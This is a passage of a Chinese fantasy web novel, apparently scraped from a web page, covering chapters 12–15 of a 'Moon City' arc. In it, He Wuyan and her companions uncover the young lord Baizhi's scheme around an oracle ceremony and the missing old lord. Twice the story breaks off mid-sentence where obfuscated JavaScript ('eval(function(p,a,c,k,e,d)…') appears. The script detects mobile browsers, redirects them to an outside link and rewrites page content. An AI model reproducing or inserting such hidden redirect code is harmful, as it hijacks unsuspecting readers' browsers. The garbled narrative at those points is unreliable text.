“真的吗？”方方眼睛都亮了。这些天她也经历了不少，脸上露出些疲惫，但一听到吃的，整个人都焕发出容光来。“好的！”说完还咂巴了一下嘴。 没多久就上菜了。 一碟清蒸月桂籽，五分钟出锅，一碟盐放置一旁，应是蘸食用的；两碗爆炒月桂籽，看着油辣鲜红，十分下饭；一盆鲜汤月桂籽，热气腾腾而起，迷了众人的眼；一道现烤月桂籽，烤得表皮略黑，微微炸开，露出内里白色的肉来。 别说方方，就连何无盐此刻都觉得食欲大动，暗暗地在流口水。 方方拿起筷子，但是却迟迟不敢下手。 昨天在月宫里，叶下珠也是做了一堆好吃的，闻着喷香，吃着却味同嚼蜡，方方因此留下了些许心理阴影。 “菜上齐咯！”刘铁匠上了酒水，也坐上桌来，乐呵呵地道。 三人迟疑地拿起筷子，互相夹菜，都不进嘴。 紫苏不明就里，筷子往桌上一拍，大声喝道：“饭里有毒？你们到底想干什么？！”说着便拿起了鞭子。 刘铁匠赶紧道：“紫苏大人，饭菜是我做的，刘铁匠我你还信不过吗？” “那你们这是什么意思！” 方方小小声道：“月桂籽不好吃，上回在月宫试过，好像在嚼瓜子壳一样，再吃几口，又觉得特别咸……” 刘铁匠一听黑了脸。“方姑娘，刘铁匠我保证，绝对比你在月宫里的好吃！” “刘铁匠，你这话什么意思？我月宫的伙食还比不上你这里了？” “不敢不敢！紫苏大人，那月宫的伙食那是精致大气上档次，我这边不过一些家常小炒罢了，只是三位贵客远道而来，做些接地气的饮食想来更合三位口味一些。” “合口味？方姑娘，你看这合你的口味吗？” 方方一听，顿时也觉得尴尬。在刘铁匠期待的目光下，死就死这一回了！牙一咬眼一闭，随便夹了一口进嘴。 众人看着她。 只见方方皱巴巴的小脸慢慢地舒展开来，“咦？”随即又夹了几筷子。 “好吃！”这下天塌下来也不能阻止方方吃饭了。她三两口就吞下，开始大快朵颐。众人见状，慢吞吞地也动了筷子。 何无盐尝了一口。入口还觉得香甜，可再嚼两口，差点没吐出来。 嘴里好像在嚼着坚果壳，滋啦滋啦地划拉着口腔，而且有一股很特别的腥臭。 “三位初来乍到，头一回吃肯定不习惯，第二回就好了。” 看着刘铁匠一脸满意的样子，何无盐只好硬生生咽下去。再看李星中，两人正好对视了一眼。 这就是没苦硬吃啊。 紫苏也试了几口。感觉虽然比不上月宫的精致，但倒是别有风味。便开始自顾自地吃喝起来。 “刘铁匠我今天能邀请到三位贵客和紫苏大人，实在是三生有幸，我敬大家一杯！” 不一会儿，酒过三巡。 刘铁匠吃饱了饭，喝过了酒，兴致上来，竟然走到火炉边开始打起铁来。 “梆！” “梆！” “梆！” 这声音也算是悦耳。 何无盐被吸引过去。 一下，又一下。 烧红的铁片在刘铁匠的敲击下，渐渐变得锐利，初显锋芒。 “很迷人吧？”紫苏突然道，“小时候我也很喜欢看。” “师父每次责骂我不用功，我就喜欢躲到刘铁匠这里来，看他打铁。这里也很暖和，很容易感觉安心，然后就睡着了。” “滋……” 铁片浸入水中。 刘铁匠微微笑了一下，仍然是沉默的，打铁的声音就是他最有力的回应。 “你师父他知道吗？” “他当然知道。最后我都会在自己床上醒过来，然后又被叫去练功。这个糟老头子，天天就知道练功练功。” 何无盐也笑了。 刘铁匠又敲击了两下，竟然将铁锤交给了紫苏。 紫苏默不作声地接过。 一下，又一下。 紫苏身上的力量激荡开来。 火焰更加沸腾，蹿的老高。 眼见她的脸上起了密密的汗珠。 “歪了！”刘铁匠突然道，“敛神静气，心无旁骛，神火淬炼，人刀合一！” 紫苏紧皱眉头，又试了两下，中线却不可遏制地往右去了，她有些急，大颗的汗珠落下。正待一锤又落下，周围却安静地有些过分了。“紫苏！”刘铁匠大喊一声。 紫苏好像突然清醒过来一样。 “还是什么都没变啊。这里总控制不好力道。你来吧。”说着便交由刘铁匠接手。刘铁匠一脸忧虑地看着紫苏，叹了口气。 “以前你也经常打铁吗？” “不是。这把刀是我请刘铁匠打的，现在只是用我的力量激活它，日后便有了灵性，可以认主。” 紫苏平日里使鞭，此时造刀，这是为何？不过何无盐也不多问。 几人回到饭桌上。又是几杯酒下肚。 “白芷！你凭什么做城主！”紫苏脸色通红，开始大声嚷嚷。 “紫苏大人！”刘铁匠有些着急。这话可不敢说啊。在月亮城之内，城主无所不知，无所不晓，她是神在城内的代言人，是地上的一弯月的化身。 “刘铁匠你说！她凭什么做城主？！你看着我们俩长大的，你最知道，城主应该是我！”说着又喝了一口酒。 大家都不知道说些什么。 “紫苏，你喝多了。”何无盐道。 “……你知 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方方沉浸在自己的思路之中，丝毫没察觉紫苏变化的语气和脸色，又道，“说不定他也想要自由，就自己一个人走了呢？” “不可能！月亮城城主终身无法离城，而且师父不会抛下我和师妹，更不会抛下整个月亮城！” “或许他做城主做厌烦了，所以把位置让给白芷，自己就逍遥去了。” “师父……他厌弃我们了吗？”紫苏大惊失色，周身的气息都开始扭曲了起来。 方方最先受不了，连连往后退了几步。 李星中见状急忙出手，本意是想制住紫苏，让她冷静冷静，但紫苏本能反应极快，一个错身，两人又开始打了起来。 她手里的鞭子也毫不留情，逼得李星中拔出了玄冥剑。 两人出手越来越凌厉，但是紫苏的招式比起上次，却显得有些凌乱，缺少章法。 尽管气势逼人，硬生生压了李星中一头，但却一分好处也没讨了去，甚至还隐隐处在了下风。 只见李星中手中剑一闪，将将刺中紫苏的肩头。 可是一眨眼之间，他突然出现在距离两人三米开外的位置，刺了个空。 而紫苏已经晕了过去。 原来是叶下珠。他在紫苏身后，一手轻点紫苏耳□□位，一手扶住了她。 “城主命我前来接紫苏回宫。” 他对着李星中道，“实在是抱歉。紫苏至今都不太能接受老城主失踪之事，所以但凡事情涉及到老城主，她就很容易激动失控，还望三位海涵。” 李星中虽收了玄冥剑，但浑身剑气未收，一时不言语。何无盐抓耳挠腮不知说什么，只能代为答道，“无碍，无碍。” 叶下珠点点头，“失陪了。”就又消失了。 盯着叶下珠消失的地方，李星中冷冷地道，“没想到白芷的空间控制能力竟然能达到这个地步。” “不错，月亮城面积如此大，能在这么大的空间里随意摆布他人的位置，这种功力，恐怕连师父都没有。”何不山既为雅一门首，便是天下正派之首。连何不山都做不到的事情，白芷这么年轻却又是如何做到的？ 三人不禁觉得有些匪夷所思，深感不安。 12. 月亮城（六） 何无盐仍在琢磨这个事。 白芷和紫苏两个人情绪似乎都不太稳定，而紫苏更甚，比起白芷来说倒是更像个孩子。 而且两个人的实力都与年龄毫不相称，白芷似乎又更强一些。两个人是不是年龄倒错了？ 踱步到苑中，看着略微发光的城墙，何无盐对此地突然起了好奇心。 这月亮城神神秘秘的，就连进来的时候也没给他们瞧见过内部的样子……既然住在月宫之中，这还不偷偷探查一番？说不定能有什么意外之喜。 虽然说未经许可在人家家里随意走动不太礼貌，但是……也没说不让闲逛呀。再说李星中那小子早已经探查过了，她不过随便逛逛，应该不打紧。 这么想着，何无盐出了小院，却突然闻到一股桂花的香气，脚下忍不住跟着香气四处寻觅。 远远地就看见了一棵高大的橡树。树下有两个侍女，在叽叽喳喳的说些什么。 “叶神官让我们收集这些橡果也不知道是干嘛，都捡了三天了，累死我了。” “橡果可以酿酒……不过说起叶神官，你知不知道，以前月宫只有一个神官。” “真的吗？你听谁说的？可是咱们不是有两个吗？” “我也是听老人说的，以前咱们月宫的神官，只负责事务性工作，就像叶神官这样。” “那紫苏大人……” “多半是城主大人顾及师门之情，给了她一个神官做做，不然她看着自己师妹做了城主，自己什么都没捞着，多可怜啊。” “再说了老城主失踪这事也很蹊跷。你说那么高的城墙，都看不到顶，出去都很困难吧，老城主肯定还在月亮城内。” “那城主跟我们能一样吗？再说搞不好是因为城外人才离开的呢。” “依我看……说不定和小城主有关呢。她把老城主藏起来，自己才好做城主。” “嘘！你怎么可以这么编排城主大人！” “我知道不应该这么推测……可是老城主下落不明正生死未卜呢，小城主连即位仪式都没有举行，就仓促上位，而且就连小城主的师姐也不服她，你想想这是不是很奇怪？而且神谕节十年一次，现在十年之期未到，马上又要举行神谕节……” “小城主大人的安排自然有她的道理，我想正是有这么多猜忌的声音，小城主大人为了平息大家的不安，才会提前举办神谕大典。神主在上！” “神主在上！” 两个人同时低下了头，双手合十，额头放在了拇指的位置。“请原谅我的同伴这些无礼之言！” “可是你真的觉得小城主能正常完成仪式，打开去理想城的大门？你不觉得小城主的力量远远不如老城主？” “确实，小城主上位之后，每月十五，月华都比以前弱了很多。” “对吧，你也不相信。” “……快别说这些了。‘播种’如此顺利，想来神谕大典也会不会有什么差错。”” “神主在上！” “神主在上！” 不好意思，我可不是故意偷听的。何无盐心想。怎奈修行之人，耳聪目明，隔得老远也听见了。 看来白芷确实引得众人的争议，只是自己是局外之人，祝她好运吧。 月宫很大，何无盐七拐八拐的，也不知道自己走到了哪里，此时想起要走回头路，已经完全不知道自己从哪里来的了。 又没记路！何无盐眉头紧皱，脚下倒也没有停。好像之前是左转来着，对，左转……不对，等一下，来的时候是左转，那回去不应该是右转吗？我左转干什么！于是又退回到上一个转弯口朝右边路口走去。 走了一阵，却觉得眼前的风景非常陌生，完全没有路过的记忆，便又倒了回来。但是这里确实应该是右转啊，怎么完全没印象呢……何无盐陷入一阵纠结。 一阵桂花香味飘了过来。何无盐突然又振奋起来，心情大悦。果然就是这里。顺着香气，何无盐来到了一座宫殿。 从窗外看进去，正看到白芷面对着供奉的桌台，盘坐在团蒲上。桌台上干干净净，仅放着一顶炉，一炷香。想来这就是桂花香的来源了。 何无盐正想打招呼，却感觉不太对劲。 只见那烟，不往顶上飘，却从白芷的两眼进去，两耳出来，最后在头顶汇合成一缕，直直地飘到视线所能及的最上方。 不仅如此，白芷嘴里还一直念念有词，十分有节奏和韵律。仔细一听，像是某种经文。 渐渐地，白芷漂浮了起来，那烟也随着她越飘越高，越来越浓。 她身上流淌的月华又再次变得流光溢彩，被一点点聚集的烟雾笼罩起来，进入她的两眼。随后，从两耳出来，凝成一道细若游丝的光束，向宫殿顶部而去。 这……不知是在做什么？难道是月宫的修行方式？ 听着吟唱声，何无盐也有些困了，伸了伸腰，“哈”地一声，却把自己吓着了。这么大声音，自己这可是在偷看… “何姑娘，请进吧。”白芷轻快灵巧的声音响起。 “抱歉，打扰你修行了。”何无盐讪讪的。 雾遮挡了何无盐的视线，不见人影只闻人声，“无碍，我只是在神游。” “神游？” “不错，理想城门尚未开启，任何人都无法进入理想城，但城主能够出元神，以神游的方式游览其中。” 雾倏忽散去，何无盐已身处殿中。殿高二十余米，一幅人像正对着殿门。 画像上的男人轮廓分明，看不出年纪，却不怒自威，使人心生敬畏。不由自主地走近了几步，却见他眼神超然，衣袂飘飘，神情悲悯，俯视众生。 “很帅吧？”一个轻巧灵动的声音突然在耳边响起。 何无盐吓了一大跳。回头一看却没人。 “这是我师父。” 声音又到左前方去了。抬头一看，正是白芷。 “你师父？老城主？” “对，他在月亮城做了好多年的城主，但现在已经失踪了两年了。”两年，说长不长，但也不短了，若真的是出了什么事…… “叶神官说他老人家失踪之前没有任何征兆，这可是真的？”何无盐绞尽脑汁地想转开白芷的注意力，开口却是这句。 “你可别叫他老人家，他会生气的。”白芷眨眨眼，“别看他好像还挺严肃的，平时他最喜欢吃甜食，一碟月桂糕，他能偷偷吃完。” 这个画像如此庄严，倒是很难想象这么气质脱俗的人会偷吃。总不能像何无奇那个小子一样狼吞虎咽吧。 “他是个什么样的人呢？”何无盐赶紧转移话题。 据白芷所说，她师父生性懒散，爱吃爱睡还挑食。正事是不干的，一律推给叶下珠。虽然也喂小猫小狗，但也会跟它们龇牙咧嘴。不知道谁才是真的狗。 唯一像师长的地方，就是对她们修行抓的很紧，每月十五晚上都要考校功课。明明自己是个懒散的主，却总是骂她们偷懒。而且他也能精准地说出两个人在什么时间、什么地点，偷懒了多久。 这不就是现在的白芷吗？上回能精确地在月亮城里找到发疯的紫苏。师徒两人对月亮城的掌控之强，令人背上发冷。 她又说到紫苏总与师父吵架。 紫苏是很不服气的，指责他宽以待己，严以律人。 他却说：等你们坐到我这个位置，也可以像我这样，想干嘛干嘛。 她私底下常常抱怨：等我修行大成那日，就要远走高飞，彻底离开月亮城。 她不仅这么说，还这么做了。 一开始，魔高一尺道高一丈，压根飞不出去，而且还被发现了，又招来一顿责罚。两人就闹了很久的别扭。 白芷说起这些，倒是很高兴的，整个人好像完全沉浸在往事里面。 “紫苏姑娘说，她悄悄地跑出去过。”何无盐小心试探。 “对啊，紫苏终于出去了，可是……既然出去了，为什么要回来？”白芷有些恨恨地道。“我希望她永远也别回来，但是她却巴巴地跑了回来。” 何无盐只希望自己什么也没听到。 “我知道师父把紫苏当继承人培养……他希望我永远离开这里。可是我怎么舍得？师父那样好的一个人。不了解他的人，以为他很严肃，会心生畏惧。但只要稍微跟他靠近一些，就会发现他很亲切。” “你说这样的一个人，为什么会失踪呢？” 白芷双眼看着前方，好像是在问何无盐，又好像是在自言自语，面色似乎有些困惑，语气却十分轻快，眼神异常清醒。 轻快到好像……好像她知道为什么一样。 何无盐慢慢感觉出不 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她突然发现自己脑袋里真是一片空白。 何不山身为掌门，平时自己修行就已经比较忙了，还要管理全教上上下下的大小事务，所以她不怎么敢打扰他。 ……师父平时，是什么样的呢？ 何不山一开始对她还是很有期望的。但是后来她进境一直很慢，甚至很多师弟都已经超过了她，他也就不怎么问了。后来她下山修行，他说不能突破的话就不必再回到山上。 何无盐慢慢回忆起这些事，突然感觉心里有点酸酸的：“不过门规就是这样，师父他也只是执行门规而已。” “我雅一门，立身必正，守法必尊，执规必严，违反必惩。” 何不山还常说：非礼勿视，非礼勿听，非礼勿言，非礼勿动，一日克己复礼，天下归仁焉。 “你师父倒还真正经。”白芷笑笑，“我师父要是这样，我得跟紫苏一样发疯，至于紫苏嘛，她可能会宁愿不修行做个普通人。” 何无盐有些不好意思，“没办法，算起来，师父他好像也有一百二三十岁了吧？确实是个老人家。” 此言一出，何无盐突然意识到自己是在议论尊长，一下子住嘴了。 “那有什么的，我师父也百来岁了，你看看他，活成个老顽童了都。” 何无盐下意识的去看画像，一幅天神之姿，倒是一点年纪也看不出来：“你师父他竟然也有百来岁了？” 原来老城主十六岁的时候修为就已大成，所以能够一直不老。只不过，上了年纪就是上了年纪，虽然皮相上看不出来，眼睛却透露出很多东西。白芷还和紫苏打赌，紫苏赌他不到三十，结果输了，给白芷收拾了一个月的屋子。 “有其师必有其徒，我原本以为你都资质已经是万里挑一了，没想到你师父更是千百年难得一见的天才。”她恭维道。 “可惜我和紫苏的才能不及他的十分之一。紫苏已经十八，神功未成，而我现在十七，又远不如紫苏，我俩都继承不了他的衣钵。” 什么？！白芷这样的天赋还不到其十分之一……这种惊才绝艳之辈，她实在不能想象。 再说，白芷看着就十四五的样子，她竟然说自己已经十七了？而且，按照白芷的说法，其实紫苏的实力还更强一些？ “可是我敢肯定，紫苏已经是我们这一辈之中的佼佼者了。”何无盐道。放眼三门之中，也许只有赵无邪师兄能与之一较高下吧。 “不知道是修行的功法所致，还是师父失踪刺激到了她，紫苏现在心境不稳，而且现在师父不在，也无人指点，很难更进一步了。” “但你俩都很年轻呀，虽然比不上老一辈，但是来日方长，慢慢修行，总有大功告成的那天。” 白芷轻轻笑了一下，又摇了摇头。 “但现在你已经做了城主，而紫苏做了神官，想来老城主若能知道，必然也会觉得欣慰吧。” 白芷道：“希望如此。” “月亮升起来了。”白芷抬头一看，“快到夜宴的时辰了，我们去逐月楼吧。” 何无盐随即产生了一种强烈的失重感，一阵头昏眼花，好不容易才站稳了脚。 13. 月亮城（七） 首先是一阵清风带着若有似无的桂花香气袭击了何无盐。 睁眼一看，四周是桂花树林。这桂花树怕也是种的有些年头了，比寻常人家的要高一些。 几张桂木做的矮几，被流觞曲水分隔在两端。远方，视野开阔，晴空万里无云，天色已暗，只见一轮圆月正在空中高悬。 白芷已经在主位上坐下，对何无盐道：“随意坐吧。” 再一看，白芷将李星中、方方请来，已经在何无盐两侧各自坐了一席。 叶下珠来到白芷的旁边：“城主，已经准备好了。” “紫苏还没来吗？” 叶下珠轻轻摇了摇头。 “那就端上来吧。” 说着，一列侍女就端着盘飧，从桂树林深处款款而来。 “哦哦，这个漂亮！”方方对着菜式发出了惊叹。 “今天为各位准备的是家宴，所以设在这逐月楼。往日，这逐月楼只供我师徒三人使用，也是很久没这么热闹了。地方小，还希望各位不要嫌弃。” 说完，向着叶下珠示意。 叶下珠向前一步道：“逐月楼是月宫之中最高的建筑，其顶层有月桂林，只每月十五，在月光的照耀下，开花生香。月光越盛，香味越浓。尤其等到月上中天之时，香味愈发浓郁扑鼻，最为一绝。相信此刻诸位已能多少闻到桂花的香气了。” 叶下珠拍了拍手。只见侍女各捧一瓶，插着一株月挂枝丫，送到众人的桌面上。 “待会儿诸位就能见到月桂吸收月光的景象。” 这么说着，何无盐看见月光好像溜进了花骨朵里，而后就闻见了桂花香味。 不错，这个桂花闻着还与别处有些不同，更清更冷更凉，于幽暗处袭人却不扰人，但人自己却醉了。像秋老虎时节无意间走到一处阴凉地，不愿意离开。 方方一边吃，一边大呼：“好香。”也不知道是说花，还是说菜。何无盐看着方方吃的很香，竟然觉得自己也很饿。 而李星中，一幅懒懒的样子，对饭菜和桂花都怎么不感兴趣。 叶下珠又说，“逐月楼上的月景，与别地不同。”此时似有阵阵鼓声响起。 两旁有男子赤裸上身，穿着红绿暗纹的束脚丝绸裤，系着绿色丝绦带，敲打着若井口般大小鼓。鼓的四个方位装饰着玉蟾，口中含珠。 一队舞女踏空而来，伴随着洒下的桂花，开始了今日的助兴节目。 何无盐一开始觉得不错，看了不一会儿就觉得多少有些头晕。一旁的方方都看呆了，而李星中啜饮着杯中美酒，似乎也看的津津有味。 月光撒了一地，皎洁的光芒照的四周莹润剔透，真是仿佛仙境一般，如梦似幻。 “月亮！”方方突然惊呼。 此时舞者身后出现了一轮巨大的圆月，有一种圣洁不可侵犯之感。 只听叶下珠道：“这便是月宫的第二绝。逐月楼离月亮最近，便是每月十五之日，会显现巨大的圆月，仿佛触手可及。” 他又举杯，“若再配上由月华晒制橡果九九八十一天，发酵而成的玉露酒，此乃月宫三绝。”说完一饮而尽。 李星中和方方也举杯喝完了杯中之物。何无盐不饮酒，此刻也来不及斟酒，便装作有酒，正待饮下，只闻破空之声。 一把刀从月中飞来，直指白芷要害。 正是紫苏。旁边侍女多少被吓到，但却见怪不怪的样子。 “你让外人住听风苑、上逐月楼，白芷，月宫本是神圣之地不容玷污，你以为自己是城主就可以为所欲为吗？” 紫苏眉头紧皱，一脸凶戾，“别的不提，就说这些都是师父常常逗留的地方，你究竟意欲何为！” “你奈何不了我，紫苏，这里是月亮城。城主在月亮城里有通天彻地之能，你难道不知？” “师父音讯全无，你连继承大典都没有举行，就急忙坐上城主的位置，你怀揣的什么心思？白芷，难道你真的为了区区城主之位杀害师父？” “我已说过了，我没有杀害师父，而且我也确实不知道师父行踪。” 但紫苏却是不依不饶：“平时里就你总去找师父，而且师父失踪前一晚也只和你在一起，你往外推得一干二净，谁能信服？” 可是一眨眼的功夫，紫苏出现在三米开外。“今天当着这么多人的面，你必须把此事交代清楚。” 紫苏感觉到自己被戏耍，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而白芷，一动一静，刚柔并济，时而翩若惊鸿，端庄典雅，时而激越昂扬，踩住鼓点，摄人心魂。 一舞即毕，白芷行礼道：“过了今日，月宫将在门口举行神谕大典，还请各位务必赏脸，参观月亮城这十年一次的盛事。” 14. 月亮城（八） “李星中，李星中！”床上的人双眼微睁，又准备闭上，被何无盐拍了几下脸：“别睡！不能睡！” 这几下可算是把他拍醒了，“你已经睡了好几天了！” 只见李星中一下子坐了起来，但仍还没回过神，“好几天？师姐……” 何无盐急切地说：“你感觉怎么样？”说着搭上了他的脉，“看着似乎倒也正常。” 此时两人靠的很近，眼对着眼，鼻子对着鼻子，嘴对着嘴，“那倒是奇怪了，怎么就叫不醒呢？” 李星中眼见何无盐的脸在放大，嘴唇靠的越来越近……突然往后一坐，撞到了墙上，疼的他龇牙咧嘴。 何无盐不解：“你干嘛？” “没、没什么，我清醒一下。” ……行、行吧，何无盐默默无语。 “这里肯定有古怪。” “这里的古怪多了去了，你这才想起要提防吗？”李星中笑她。 何无盐在心中翻了个白眼。“我刚刚睡醒，就没看到方方，想着过来看看你，结果你也一直在睡，都叫了你半个时辰了。修行之人怎么可能会睡这么久？” “你说什么？方姑娘不见了？” “不见了？她会不会是自己去看神谕大典了？” 李星中急忙起身。“恐怕是出事了。” 何无盐有些茫然。真有这么严肃吗？ 随即跟着李星中准备出门，没想到脚刚一迈出院门，还没有落地，脚下的路边模糊了起来，随之而来的又是那种强烈的失重感，搞的人头晕脑胀，几乎摔倒。 把脚一收，又好了起来。 “这是怎么回事？” “看来人家不希望我们在自家院子里闲逛，设置了结界。” 何无盐不信邪，脚踏宝剑试图飞出去，却在即将触碰边线之际两眼一黑，失重感极为强烈，险些掉了下来。 “这……不是等于关我们禁闭了吗？”何无盐心下一沉。“你说的对，方方肯定出事了。” 但她仍然不死心，向着门边伸出手去，眼见没有任何异常，又踏脚出去，得到了一样的结果。 远处，传来一阵阵鼓乐，正以为是幻听，其间穿插的清越之音却摇醒了七魂六魄，好像穿过了正在激战的千万战士，以山间雄鹰之姿，召唤着上古神邸。 “应该是神谕大典开始了。”两人都有一种非常的压抑和神秘感，心中的不详慢慢升了上来。 鼓声渐而持久、壮大，忽而停止，紧接着又似有人山人海，“方方不知道什么时候出的事，说不定就和这个神谕大典有关，我们却困在这里出不去。” 何无盐略微定住，然后怀着略微沉重的脚步向着门口走去，两眼一闭，准备向门口踏出第二只脚，却被李星中一把拉住。 “你做什么？” “或许，或许，这个结界只是一个障眼法呢？我们第一次从月宫大门到这里，也有很强的失重感，但最后也没发生什么。或许这个失重感只是为了让我们产生害怕的心理。搞不好从这里跨出去，只会从一个地方转移到另外一个地方。” “师姐，我觉得这结界绝没有这么简单。我们对月宫不熟，就算是从一个地方转移到另外一个地方，可能也只是从一个禁闭地换到另外一个禁闭地罢了。” “但不试试怎么知道呢？” 李星中紧盯着何无盐：“师姐，万一她是想把我们逐个击破呢？你这样出去，可能就中了敌人的奸计……对方姑娘我们不能见死不救，必然会尽力而为，但别忘记我们身上还有任务，你我不能出事。” 何无盐被盯得有点发毛。“既然如此，”她掏出金刚索，直接把两人系在一起，“那我们共进退。” “……好。” 两人同时向着门外迈步。强烈的失重感铺天盖地袭来，继而头晕目眩，目不能视，何无盐拼尽全力才保证自己没有倒下。 就这样不知过了多久，何无盐却感觉稍微轻松了一些，略略睁开了眼。目之所及，皆是虚妄。 旁边的李星中双目紧闭，一脸痛苦，已是摇摇欲坠。 “李星中！”她抓住李星中，“醒醒！” 但李星中只是把眼睛闭得更紧，倒了下去。何无盐感觉两人一直在下落，失重感都快让她吐了，但仍然勉强撑住了李星中。 望向虚妄的四周，何无盐心感迷茫，欲前进，却无处下脚。只有身边的温度是真实的。 此时，她突然想起，李星中好像也会术数。或许……虽然叫不醒他，但是用问灵法，可以让李星中用术数算出路来。 问灵法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482326|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是清一门的东西，雅一门讲究子不语怪力乱神，诸事求己，是禁止这些偏门术法的。 当时宁无云只是当个好玩的小术法教给她，说是可以问世间万物，只不过对象显灵的方式不同，效果也因人而异，至于可信度嘛，忽高忽低。 若是问题太可笑，或者对象太不靠谱，只会出来一些很诡异的东西。 李星中，现在全靠你了啊。这么想着，何无盐先是在李星中额头上化了一个符，然后开始絮絮叨叨地念起来。只见字符从她嘴里蹦出来，进入李星中的耳朵，又从他嘴里蹦跶出来： “南一百里。” 一百里？真不是在放屁吗，月宫怎么可能这么大？还是问灵法不可以这么用？ 可是想了一会儿，何无盐决定照做。“死就一起死吧。” 在这虚妄之中，只有失重感、晕眩感，没有方向感，但是，感天谢地！还有何无奇送的罗盘！何无盐估摸着飞了一百里，四周的景色毫无变化，却感觉轻松了很多。 琢磨了一会儿，何无盐掏出了剑。 既然不适减轻，想来这里是结界最薄弱的地方。大力出奇迹！何无盐这就要来会会这个神圣月宫的结界！ 潜龙勿用！ 见龙在田！ 终日乾乾！ 或跃在渊！ 连出四招，何无盐都有点累了。正准备再来，却看见了一处发着白光。 出口！带着李星中，赶忙飞了出去。 一出来，何无盐也傻眼了。乌鸦鸦的一片，是埋头祈祷的城众，另一侧是白芷和在她身后的叶下珠。 有一名老妪正跪拜在地。仔细一看，正是入城是遇到的那位。白芷对着她念念有词，递给她一枝长满了花苞的月桂。老妪双手接住，拜谢过白芷，就往门里走去。 二十丈的白色石门微微打开，上饰有繁复的花纹，跟月宫门上的类似，只是更为精细复杂。 “不能进去！” 何无盐突然出声，引来众目。 “没想到打开理想城的城门，却给了你们从两城缝隙里溜出来的机会。”白芷脸色苍白，语气却还轻快灵巧。 “别进去！”没想到老妪丝毫不理睬何无盐。她满脸欣喜雀跃，手上的花苞渐渐绽放，一步一步消失在门后。 15. 月亮城（九） 何无盐注意到这是大典所在的祭台。祭台极大，正中间是一方雕刻精细的石台。 而方方，身着月宫样式的衣服，紧闭双眼，就躺在石台上，全身流淌着月华，人却似隔了一层雾，看不真切。 何无盐怒了：“白芷，你这是何意？” 此时天色已晚，但天上却空无一物，只有地上这一轮弯月，随着门上花纹一遍又一遍亮起，那千余丈城墙和整个月宫，发出了越加莹润剔透的光泽，显得愈加圣洁。 突然有清越之声响起，“嘎吱，”理想城的大门又慢慢地打开了，在这光芒的照耀下，乌鸦鸦一片的城众更是诚惶诚恐，“神主在上！” 遂退出百米开外，然后更虔诚地埋下了他们的头。 何无盐愤怒地盯着白芷，“我当你是朋友，你却这样行事！” “何无盐，我只是借方姑娘一用，大典之后便还给你。”白芷又道。 “借用？”何无盐更气，“把我们迷昏，然后用方方献祭，又将我与李星中软禁在听风苑，你的借用方式还真是别具一格。” 李星中自出了城门就已恢复了理智：“白城主，你从一开始就居心不轨，之所以没有加害我们只是在等待大典到来罢了，不必说的如此好听。” “我没有时间了，必须借助方姑娘帮我打开城门。若是你们不同意，就会前功尽弃，所以才出此下策。抱歉。” “把方方还来！”何、李对视一眼，心中已有主意。李星中向白芷攻去，而何无盐奔向方方，一剑劈向石台。 可是尽管使出了种种招式，却毫无作用，她又想拉住方方，手却伸到了方方的身体里，而且有一种很奇怪的触感。“怎会如此！”何无盐心中焦急。 那边，李星中使出一掌，“月在中天！” 只见白芷躲也不躲，正中她腹心。李星中心下惊诧，但一掌既中，便要乘胜追击。 叶下珠却突然上前护住了白芷。他是文神官，在位多年尽职尽责，能用来修行的时间也不多，压根不挡李星中一击。受了这么一下，两人一齐飞出十米开外。 眼见白芷口吐鲜血，理想城大门的光芒开始有些黯淡，准备打开的门却又不动了，而方方身上的月华也黯淡了一些。 何无盐也很吃惊。只不过一击，怎么会伤成这样？ “何无盐，我答应你，大典过后，就把方姑娘还给你，决不食言。可否让我先完成神谕大典仪式？” “何姑娘，城主大人这么说，必然就会把方姑娘还给你！还请你手下留情！”叶下珠急切地说。 然后他话锋一转，“白芷，形势已经到这一步了，把紫苏叫来吧，把事情都告诉她！你们从小一块儿长大，只是为老城主之事生了一些嫌隙，她若知道你为老城主做到这一步，必然会帮你的！” “不要告诉她！”白芷忍着痛说，“叶下珠！你听到没有！” 何无盐完全不知道两个人在说什么，决定从眼前的事开始问起：“白芷，你为什么不躲？” 叶下珠道：“何姑娘，不是不躲，是躲不了。”一旁，白芷忍着疼痛，不发一言。看起来，仍然将精力集中在维系理想城的大门上。 “以前，城主之下只有一个神官，负责处理月亮城各项事务。而继承城主之位，必要极高的修为。紫苏与白芷从小一同被老城主收养，但紫苏一开始就在修为上进展很快。所以老城主虽然未曾明说，明里暗里大家都把紫苏当做城主的继承人，而白芷从小就是当神官来培养的，修为很低，几乎与普通人无异，还请两位手下留情！” 此时理想城光芒大作，大门又缓缓打开。何无盐正待上前，却发现无论怎么走，都只是在原地踏步。这是被白芷的空间之力给控制了。 “咳咳！”白芷又吐了一口血，咬紧了牙关，道：“待仪式结束，人我会还你的。” 说完挣扎着站了起来，朝着打开的理想城前进。 “白芷！你没有修为，纵然天赋再高，撑不住的！”叶下珠道。 白芷却冷冷地：“让开。”她身上的月华虽然光芒四溢，但是已经出现了破损。 “我多少也算你的前辈，你非要进理想城，就踩在我的尸体上过去。” “让开，叶下珠，不要以为你是上一代神官，就能够阻止我。事到如今，我必须要进入理想城，找到师父。你以为我会在乎你的命吗？” “这个双城之地，根本就是一个吃人不吐骨头的地方，我要让它们消失在这个世界上。” 说完就消失理想城之中。 没多久，紫苏出现了。 “白芷呢？” 叶下珠回答道：“已经进理想城了。” 眼见紫苏带着三分不屑，三分冷漠道：“不自量力，她的力量本就孱弱，现在就连月亮城的空间之力都难以掌握了，竟然还妄想进入理想城。”这语气中……似乎还有几分是担忧？ “老城主，在理想城里。” 紫苏犹如遭晴天霹雳一般，“你说什么？” “白芷进去是为了找老城主，虽然不知道是否还活着。” 